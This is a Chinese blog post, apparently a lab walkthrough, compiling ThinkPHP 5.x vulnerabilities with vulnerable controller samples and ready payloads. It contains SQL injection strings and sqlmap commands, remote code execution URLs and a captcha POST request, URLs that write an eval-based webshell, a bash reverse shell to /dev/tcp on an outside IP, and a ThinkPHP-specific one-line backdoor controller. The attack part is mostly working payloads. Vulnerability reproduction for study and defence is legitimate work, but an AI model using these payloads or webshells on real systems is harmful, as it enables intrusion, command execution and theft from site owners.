zoukankan      html  css  js  c++  java
  • 11.tp5常见漏洞

    1.tp5下载安装

    版本 : thinkphp5.0.24完整版本

    绑定域名www.tp5.com , 在模块的config.php中打开debug和追踪调试

    tp3和tp5的区别

    https://www.cnblogs.com/wupeiky/p/5850108.html
    

    image-20211123213255540

    image-20211123213326970

    还有个很大的区别就是路由访问 , 在tp5中不在支持mac访问

    http://www.tp5.com/index.php?m=Home&c=index&a=haha
    # 实际上访问的是index.php   后面的参数不生效 , index.php也可以省略 , 但是需要在.htaccess中设置
    

    实验版本 : thinkphp5.x 完整版本

    2.tp5.0.9注入漏洞

    2.1代码示例

    <?php
    namespace app\index\controller;
    
    class Index
    {
        public function index()
        {
           $id = input("id/a");  // 强行接收id参数 , 参数必须为数组
           $data = db("users")->where("id","in",$id)->select();  //
           dump($data);
        }
    }
    

    2.2payload

    http://www.tp5.com/index.php/index/index?id[0,updatexml(0,concat(0x5e,user()),0)]=1
    

    image-20211125220414473

    如果还开启了debug的话会爆出数据库配置信息

    image-20211125220449982

    2.3漏洞分析

    这个漏洞比较鸡肋 , 是在PDO处理的第一步触发 , 不能进行子查询 , 所以无法获取数据库表名和字段 以及数据
    只能看一些版本 , 用户信息
    - 必须是5.0.5<5.0.9
    - 接收的参数必须是数组 , 可控
    

    2.4漏洞利用

    python3 sqlmap.py -u "http://www.tp5.com/index.php/index/index?id[0,*]"
    sqlmap是跑不出来的 , 只能手动
    

    3.tp5.0.15update注入

    3.1代码示例

    <?php
    namespace app\index\controller;
    
    class Index
    {
        public function index()
        {
           $level = input("level/a");  // 强行接收id参数 , 参数必须为数组
           $data = db("users")->where("id",1)->update(["level"=>$level]);  //
           dump($data);
        }
    }
    

    3.2payload

    http://www.tp5.com/index.php/index/index?level[0]=inc&level[1]=updatexml(1,concat(0x5e,user(),0x5e),1)&level[2]=2
    

    image-20211125222832409

    3.3漏洞分析

    同样也是PDO处理中的报错 , 鸡肋 , 所以不能进行子查询 , 无法获取账号和密码
    同样参数必须是数组 , 可控
    

    3.4漏洞利用

    python3 sqlmap.py -u "http://www.tp5.com/index.php/index/index?level[0]=inc&level[1]=*&level[2]=2"
    跑不出来
    

    4.tp5.1聚合查询漏洞

    网上虽然是爆的tp5.1的漏洞 ,但是tp5.0.15也有这个漏洞 , 这里继续用tp5.0.15演示

    4.1示例代码

    <?php
    namespace app\index\controller;
    
    class Index
    {
        public function index()
        {
           $count = input("get.count");  // 强行接收id参数 , 参数必须为数组
           $data = db("users")->count($count);  //
           dump($data);
        }
    }
    

    4.2payload

    http://www.tp5.com/index.php/index/index?count=id),(select sleep(5)),(username
    

    image-20211125223753494

    延时注入5s

    4.3漏洞分析

    既然是聚合查询产生的漏洞 , 可能存在的地方肯定和统计有关
    参数必须数数组 , 可控
    需要手工构造payload
    

    4.4漏洞利用

    python3 sqlmap.py -u "http://www.tp5.com/index.php/index/index?count=id),(*),(username" --dbms=mysql --technique=T
    
    sqlmap 跑不出来 , 需要手工注入
    

    image-20211125224344143

    5.tp5.0.0-5.0.23RCE

    路由地方出现的问题 , 和代码的写法没关系 , 这里依旧用tp5.0.15显示 , 不包括5.0.23

    5.1payload

    http://www.tp5.com/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
    														     要执行的函数         函数的参数
    
    

    image-20211125225237645

    5.2漏洞分析

    自行百度
    

    5.3漏洞利用

    直接写shell 或者 反弹shell

    写webshell(保存在public目录下)
    http://www.tp5.com/index.php?s=/index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3C?php%20@eval($_POST[x];)?%3E
    
    反弹
    http://www.tp5.com/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=bash -c 'bash -i >& /dev/tcp/192.168.42.156/4444 0>&1' 
    

    6.tp5.0.23RCE

    6.1payload

    POST /index.php?s=captcha HTTP/1.1
    Host: localhost
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 72
    
    _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
                                                        函数                                                                           参数
    

    image-20211125232409586

    6.2漏洞分析

    自行百度

    6.3漏洞利用

    写shell
    _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "%3C?php%20@eval(\$_POST[x]);?%3E" > shell.php
    

    image-20211125233940408

    7.thinkphp5.1.29漏洞

    可能有的payload执行不了, 最好一个一个手工全试一试

    7.1代码执行

    http://www.0-sec.org/?s=index/\think\Request/input&filter=phpinfo&data=1
    
    http://www.0-sec.org/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
    
    http://www.0-sec.org/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
    

    7.2命令执行

    http://www.0-sec.org/?s=index/\think\Request/input&filter=system&data=操作系统命令
    
    http://www.0-sec.org/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令     // 这个payload还是好使啊
    
    http://www.0-sec.org/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令
    

    image-20211125235658846

    7.3文件写入

    http://www.0-sec.org/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
    
    http://www.0-sec.org/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3
    

    8.tp专用shell

    基于thinkphp框架的一句话写法 thinkphp框架使用入口文件调用控制器,直接写一句话可能会有解析问题导致无法执行指令,把一句话套入框架控制器的方法

    <?php
    namespace app\index\controller;
    class Test
    {
       public function test()
       {
       eval($_POST["cmd"]);
       }
    }
    

    一句话的地址就是http://www.tp5.com/index/test , 密码cmd

    更多漏洞复现文库见 : https://0-wiki.com/#/

    9.总结

    关于tp5的命令执行漏洞居多 , 漏洞产生的原因是路由产生的 和开发写法无关
    5.0.0-5.0.23
    5.1-5.1.29 (中间也有可以代码执行的版本)
    关于注入漏洞
    5.0 update注入
    >5.1 聚合函数注入 , 都是在PDO第一阶段引起的报错 , 不能进行子查询 , 只能爆库相关的
    关于反序列化利用条件比较苛刻 , 看文章即可
    推荐一自动化检测工具 : https://github.com/Lotus6/ThinkphpGUI/releases/tag/1.3
    
  • 相关阅读:
    VisualSVN-Server windows 版安装时报错 "Service 'VisualSVN Server' failed to start. Please check VisualSVN Server log in Event Viewer for more details."
    Pytest 单元测试框架之初始化和清除环境
    Pytest 单元测试框架入门
    Python(email 邮件收发)
    Python(minidom 模块)
    Python(csv 模块)
    禅道简介
    2020年最好的WooCommerce主题
    Shopify网上开店教程(2020版)
    WooCommerce VS Magento 2020:哪个跨境电商自建站软件更好?
  • 原文地址:https://www.cnblogs.com/xcymn/p/15712395.html
Copyright © 2011-2022 走看看